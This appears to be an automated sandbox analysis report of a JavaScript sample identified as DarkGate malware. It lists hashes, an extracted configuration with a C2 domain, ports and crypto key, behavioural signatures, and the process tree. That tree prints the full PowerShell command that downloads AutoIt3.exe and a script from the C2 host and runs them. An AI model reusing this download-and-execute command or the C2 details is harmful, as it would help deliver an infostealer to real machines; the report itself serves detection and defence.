Analysis

  • max time kernel
    122s
  • max time network
    166s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-11-2023 16:23

General

  • Target

    5f475d11b0914f11.js

  • Size

    254KB

  • MD5

    40e1292e9b1fe1a88b32b99e3ca9f72f

  • SHA1

    5a0403673919d994412f4635998e8f8a3ac315a8

  • SHA256

    00f25f4e27938650e42747fc5b85d87e040d8c79db82c72ccf05ca03c8d32771

  • SHA512

    3ed3109bd47fe056f01a5c6cb912addf2a90e9e55e1c412d3641d42335f80058594e2294b5c4cb6fd6d728add7a03115807595c87a4ff32149e93624dbad8e67

  • SSDEEP

    6144:Ne7hgXeerjqlI2Iro+qg3e7hgXeerjqlI2Iro+8:NIhgSlI23tKIhgSlI23V

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://8sjimonstersboonkonline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    false

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    hxFtopOWuHrZAv

  • internal_mutex

    txtMut

  • minimum_disk

    41

  • minimum_ram

    6002

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\5f475d11b0914f11.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiasfgadcz' -OutFile 'asfgadcz.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'asfgadcz.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" asfgadcz.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4804

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yvi0ofxq.lxm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\asfgadcz.au3

    Filesize

    622KB

    MD5

    a70fcfc7aa30e9510e317ace61e36d58

    SHA1

    673f520759ece31f36b436c9a66f301bcdaed96d

    SHA256

    89b9d335c4c669acf78b86ac3f57574de82aa2edd7c2415e32c596b01f5bb5b3

    SHA512

    9ce83dc4336dcc08622d22d0ab71bf0327b8851bced36fcd237087bb7ad0f109d4b0d4a1a2438ac638886999c6693bb0a8d1e776d81f9a1e50db17ad82b8b2dc

  • memory/4408-5-0x000001E66A820000-0x000001E66A842000-memory.dmp

    Filesize

    136KB

  • memory/4408-10-0x00007FFEBB7B0000-0x00007FFEBC271000-memory.dmp

    Filesize

    10.8MB

  • memory/4408-11-0x000001E66A9F0000-0x000001E66AA00000-memory.dmp

    Filesize

    64KB

  • memory/4408-12-0x000001E66A9F0000-0x000001E66AA00000-memory.dmp

    Filesize

    64KB

  • memory/4408-26-0x00007FFEBB7B0000-0x00007FFEBC271000-memory.dmp

    Filesize

    10.8MB

  • memory/4804-29-0x0000000003AD0000-0x0000000003CD0000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-30-0x00000000047D0000-0x0000000004965000-memory.dmp

    Filesize

    1.6MB

  • memory/4804-31-0x00000000047D0000-0x0000000004965000-memory.dmp

    Filesize

    1.6MB